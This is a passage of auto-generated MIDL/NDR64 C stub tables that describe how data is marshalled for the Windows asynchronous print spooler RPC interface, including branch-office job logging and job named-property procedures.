_NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag1096_t __midl_frag1096 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    }\n};\n\nstatic const __midl_frag1088_t __midl_frag1088 =\n{ \n/* RPC_BranchOfficeJobDataError */\n    { \n    /* RPC_BranchOfficeJobDataError */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataError */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag1096,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1087_t __midl_frag1087 =\n{ \n/* RPC_BranchOfficeJobDataRendered */\n    { \n    /* RPC_BranchOfficeJobDataRendered */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataRendered */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    }\n};\n\nstatic const __midl_frag1086_t __midl_frag1086 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    }\n};\n\nstatic const __midl_frag1080_t __midl_frag1080 =\n{ \n/* RPC_BranchOfficeJobDataPrinted */\n    { \n    /* RPC_BranchOfficeJobDataPrinted */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataPrinted */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 64 /* 0x40 */,\n        0,\n        0,\n        &__midl_frag1086,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* RPC_BranchOfficeJobDataPrinted */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1079_t __midl_frag1079 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag1078_t __midl_frag1078 =\n{ \n/* __MIDL_IRemoteWinspool_0021 */\n    { \n    /* __MIDL_IRemoteWinspool_0021 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 88 /* 0x58 */,\n        &__midl_frag1079,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag1080,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag1087,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag1088,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag1097,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag1101,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag1077_t __midl_frag1077 =\n{ \n/* RPC_BranchOfficeJobData */\n    { \n    /* RPC_BranchOfficeJobData */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobData */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 96 /* 0x60 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1078\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1076_t __midl_frag1076 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag1075_t __midl_frag1075 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag1077\n        },\n        &__midl_frag1076,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag1074_t __midl_frag1074 =\n{ \n/* RPC_BranchOfficeJobDataContainer */\n    { \n    /* RPC_BranchOfficeJobDataContainer */\n        0x36,    /* FC64_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BranchOfficeJobDataContainer */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        0,\n        0,\n        0,\n        &__midl_frag1075,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1073_t __midl_frag1073 =\n{ \n/* *RPC_BranchOfficeJobDataContainer */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1074\n};\n\nstatic const __midl_frag1072_t __midl_frag1072 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag1071_t __midl_frag1071 =\n{ \n/* RpcAsyncLogJobInfoForBranchOffice */\n    { \n    /* RpcAsyncLogJobInfoForBranchOffice */      /* procedure RpcAsyncLogJobInfoForBranchOffice */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBranchOfficeJobDataContainer */      /* parameter pBranchOfficeJobDataContainer */\n        &__midl_frag1074,\n        { \n        /* pBranchOfficeJobDataContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1069_t __midl_frag1069 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x5,    /* OP_UNARY_INDIRECTION */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x8,    /* FC64_UINT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag1068_t __midl_frag1068 =\n{ \n/* *RPC_PrintNamedProperty */\n    { \n    /* *RPC_PrintNamedProperty */\n        { \n        /* *RPC_PrintNamedProperty */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *RPC_PrintNamedProperty */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag1049\n        },\n        &__midl_frag1069,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag1067_t __midl_frag1067 =\n{ \n/* *RPC_PrintNamedProperty */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1068\n};\n\nstatic const __midl_frag1066_t __midl_frag1066 =\n{ \n/* **RPC_PrintNamedProperty */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1067\n};\n\nstatic const __midl_frag1065_t __midl_frag1065 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1064_t __midl_frag1064 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1065\n};\n\nstatic const __midl_frag1061_t __midl_frag1061 =\n{ \n/* RpcAsyncEnumJobNamedProperties */\n    { \n    /* RpcAsyncEnumJobNamedProperties */      /* procedure RpcAsyncEnumJobNamedProperties */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1065,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pcProperties */      /* parameter pcProperties */\n        &__midl_frag1065,\n        { \n        /* pcProperties */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppProperties */      /* parameter ppProperties */\n        &__midl_frag1066,\n        { \n        /* ppProperties */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1058_t __midl_frag1058 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1102\n};\n\nstatic const __midl_frag1055_t __midl_frag1055 =\n{ \n/* RpcAsyncDeleteJobNamedProperty */\n    { \n    /* RpcAsyncDeleteJobNamedProperty */      /* procedure RpcAsyncDeleteJobNamedProperty */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n     